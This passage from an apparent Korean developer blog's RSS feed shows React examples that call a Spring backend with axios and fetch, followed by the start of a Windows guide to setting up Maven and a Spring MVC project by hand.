&lt;p data-ke-size=&quot;size16&quot;&gt;새롭게 작성하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시에서 사용하는 state 활용과 useEffect 는 React 활용에 따라서 제거하고 다른 방법을 취할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;ⓐaxios API 를 사용할 경우의 예제&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;import&amp;nbsp;'./App.css';&lt;br /&gt;import&amp;nbsp;React&amp;nbsp;, {useState&amp;nbsp;as&amp;nbsp;getStateRef,&amp;nbsp;useEffect}&amp;nbsp;from&amp;nbsp;'react';&lt;br /&gt;import&amp;nbsp;axios&amp;nbsp;from&amp;nbsp;'axios';&lt;br /&gt;&lt;br /&gt;function&amp;nbsp;App() {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var&amp;nbsp;[answer,setAnswer] =&amp;nbsp;getStateRef([]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;// 인자에 초기값(데이터형태) 작성, answer에 주소 내부 값, setAnswer에 setter가 리턴&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;useEffect(()=&amp;gt;{//컴포턴트의 마운트, 언마운트, 변화 직전에 적용되는 리스너&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;axios.get(&quot;/orderer/bridge&quot;).then&lt;br /&gt;&amp;nbsp; &amp;nbsp; (json&amp;nbsp;=&amp;gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;setAnswer(json.data);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }).catch&amp;nbsp;//리턴된 json 값을 state 에 대입&lt;br /&gt;&amp;nbsp; &amp;nbsp; ((error)&amp;nbsp;=&amp;gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;const&amp;nbsp;{&amp;nbsp;status,&amp;nbsp;config&amp;nbsp;} =&amp;nbsp;error.response;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;if&amp;nbsp;(status&amp;nbsp;===&amp;nbsp;404) {&amp;nbsp;//해당 서버 경로가 존재하지 않음&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;console.log(`${config.url}&amp;nbsp;is not found`);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;else&amp;nbsp;if(error.request)&amp;nbsp;//서버의 응답이 없음&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;console.log(&quot;error:&quot;,&amp;nbsp;error.message);&lt;br /&gt;&amp;nbsp; &amp;nbsp; });&lt;br /&gt;&amp;nbsp; },[setAnswer]);//[]외부의 요소를 useEffect내부에 사용시 반드시 작성&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;return&amp;nbsp;(&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;div&amp;nbsp;className=&quot;App&quot;&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;p&amp;gt;made by frontend / backend&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;dl&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;{answer.map((value,index)=&amp;gt;&amp;lt;dt&amp;nbsp;key&amp;nbsp;=&amp;nbsp;{index}&amp;gt;{value}&amp;lt;/dt&amp;gt;)}&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;/dl&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp; );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;export&amp;nbsp;default&amp;nbsp;App;&lt;br /&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;ⓑfetch를 사용하는 예제&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;import&amp;nbsp;'./App.css';&lt;br /&gt;import&amp;nbsp;React&amp;nbsp;, {useState&amp;nbsp;as&amp;nbsp;getStateRef,&amp;nbsp;useEffect}&amp;nbsp;from&amp;nbsp;'react';&lt;br /&gt;&lt;br /&gt;function&amp;nbsp;App() {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var&amp;nbsp;[answer,setAnswer] =&amp;nbsp;getStateRef([]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;// 인자에 초기값(데이터형태) 작성, answer에 주소 내부 값, setAnswer에 setter가 리턴&lt;br /&gt;&amp;nbsp;&amp;nbsp;useEffect(()=&amp;gt;{//컴포턴트의 마운트, 언마운트, 변화 직전에 적용되는 리스너&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;fetch(&quot;/ProjectName/bridge&quot;).then&lt;br /&gt;&amp;nbsp; &amp;nbsp; ((res)=&amp;gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;return&amp;nbsp;res.json();//받은 자료가 json이 아닐 때도 json으로 리턴&lt;br /&gt;&amp;nbsp; &amp;nbsp; }).then&lt;br /&gt;&amp;nbsp; &amp;nbsp; ((data)=&amp;gt;&amp;nbsp;{setAnswer(data);}).catch&amp;nbsp;//리턴된 json 값을 state 에 대입&lt;br /&gt;&amp;nbsp; &amp;nbsp; ((error)&amp;nbsp;=&amp;gt;&amp;nbsp;console.log(&quot;error:&quot;,&amp;nbsp;error));&lt;br /&gt;&amp;nbsp; },[setAnswer]);//[]외부의 요소를 useEffect내부에 사용시 반드시 작성&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;return&amp;nbsp;(&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;div&amp;nbsp;className=&quot;App&quot;&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;p&amp;gt;made by frontend / backend&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;dl&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;{answer.map((v)=&amp;gt;&amp;lt;dt&amp;gt;{v}&amp;lt;/dt&amp;gt;)}&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;/dl&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;nbsp; );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;export&amp;nbsp;default&amp;nbsp;App;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/ProjectName 은 본인이 Spring MVC를 만들때 사용한 프로젝트 명을 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 작성시 /ProjectName/path 을 쓰면 상대경로 ,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ProjectName/path 를 쓰면 절대 경로임을 주의합시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;3.실행 결과&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfWMJg/btrR9LxioyN/iH7WIpkPYzlzWWwV7XmBN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfWMJg/btrR9LxioyN/iH7WIpkPYzlzWWwV7XmBN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfWMJg/btrR9LxioyN/iH7WIpkPYzlzWWwV7XmBN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfWMJg%2FbtrR9LxioyN%2FiH7WIpkPYzlzWWwV7XmBN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;831&quot; height=&quot;658&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 화면의 출력에 성공했다면 연동이 무사히 끝났습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/개발환경구축</category>
      <category>nodejs</category>
      <category>react</category>
      <category>Spring</category>
      <category>yarn</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/240</guid>
      <comments>https://mytory.tistory.com/240#entry240comment</comments>
      <pubDate>Sun, 27 Nov 2022 19:03:15 +0900</pubDate>
    </item>
    <item>
      <title>[Windows] Spring MVC 프로젝트 수동 생성</title>
      <link>https://mytory.tistory.com/239</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 과정은 Eclipse IDE 를 기준으로 하고 있으나 메이븐 프로젝트 인식이 가능한 IDE 라면 상관 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+2022-12-12 spring xml 임포트 과정 수정&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1.메이븐 설치&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://maven.apache.org/download.cgi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://maven.apache.org/download.cgi&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daojEi/btrR1fyrV61/49nhHyDfb8YXNwmqAOdYs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daojEi/btrR1fyrV61/49nhHyDfb8YXNwmqAOdYs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daojEi/btrR1fyrV61/49nhHyDfb8YXNwmqAOdYs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaojEi%2FbtrR1fyrV61%2F49nhHyDfb8YXNwmqAOdYs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1440&quot; height=&quot;860&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리 Zip 파일을 다운로드 받아서 C:에 압축을 풀어줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폴더명은 maven 이라고 바꿔두겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Kggc/btrR2wGETg0/ExFTX5v6SYdIiCWhqrbJd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Kggc/btrR2wGETg0/ExFTX5v6SYdIiCWhqrbJd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Kggc/btrR2wGETg0/ExFTX5v6SYdIiCWhqrbJd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Kggc%2FbtrR2wGETg0%2FExFTX5v6SYdIiCWhqrbJd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1026&quot; height=&quot;811&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;고급 시스템설정 - 환경 변수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cehdC5/btrRY2l3mBt/kyRL010oSE0rR1T2L432f0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cehdC5/btrRY2l3mBt/kyRL010oSE0rR1T2L432f0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cehdC5/btrRY2l3mBt/kyRL010oSE0rR1T2L432f0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcehdC5%2FbtrRY2l3mBt%2FkyRL010oSE0rR1T2L432f0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;653&quot; height=&quot;165&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;165&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 변수 측에서 새로만들기를 누르고 작성합니다. (maven은 압축 해제한 폴더명입니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mmF90/btrR2IfNYUY/L0BQ0MlTtr0kiKXrOOrsm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mmF90/btrR2IfNYUY/L0BQ0MlTtr0kiKXrOOrsm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mmF90/btrR2IfNYUY/L0BQ0MlTtr0kiKXrOOrsm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmmF90%2FbtrR2IfNYUY%2FL0BQ0MlTtr0kiKXrOOrsm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;585&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 변수 목록에서 Path 를 찾아서 편집 버튼을 누릅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;501&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CK0o5/btrR2tcaLzy/w71SsGteaUkhhSKrXDAuMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CK0o5/btrR2tcaLzy/w71SsGteaUkhhSKrXDAuMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CK0o5/btrR2tcaLzy/w71SsGteaUkhhSKrXDAuMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCK0o5%2FbtrR2tcaLzy%2Fw71SsGteaUkhhSKrXDAuMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;527&quot; height=&quot;501&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;501&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;%MAVEN_HOME%\bin&lt;span style=&quot;color: #333333;&quot;&gt;을 추가해 줍니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약에 화면에서 위와같은 UI 가 보이지 않으며 한줄의 텍스트 타이핑으로 보인다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;텍스트 값 문단 끝에 이 글자를 이어 붙혀 줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;%MAVEN_HOME%\bin;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2.프로젝트 폴더 생성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zBHhT/btrR3BUxdbb/6cO88nDJWrhGst4DcQD580/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zBHhT/btrR3BUxdbb/6cO88nDJWrhGst4DcQD580/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zBHhT/btrR3BUxdbb/6cO88nDJWrhGst4DcQD580/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzBHhT%2FbtrR3BUxdbb%2F6cO88nDJWrhGst4DcQD580%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;600&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 새로운 파일경로를 만들어 주세요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 이름 - src - main - java&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; └webapp - WEB-INF&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;└ view&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3.pom 설정하기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lquRn/btrR2SP5XSi/45Fw4XvFxTqxnXa1hzJFHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lquRn/btrR2SP5XSi/45Fw4XvFxTqxnXa1hzJFHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lquRn/btrR2SP5XSi/45Fw4XvFxTqxnXa1hzJFHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlquRn%2FbtrR2SP5XSi%2F45Fw4XvFxTqxnXa1hzJFHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;570&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래라면 메모장을 열어서 메이븐 기본 경로와 의존들, 컴파일러등을 전부 타이핑 해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간 낭비가 심하니 작자가 작성한 파일을 공유합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cRaMzs/btrR84oLDKy/54mkaUfRLvfuRPtAnbK4lk/pom.xml?attach=1&amp;amp;knm=tfile.xml&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;pom.xml&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;바이러스나 악성코드는 없습니다. 그저 믿고 깔아주세요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;다운로드 뒤에 메모장으로 열어서 주석을 단 부분을 원하는 이름으로 수정해주세요.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아니면 접은 글로 타이핑을 적어 둘 테니 메모장에 복사하시고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장할때 모든 파일 형식으로 pom.xml로 저장하시길 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
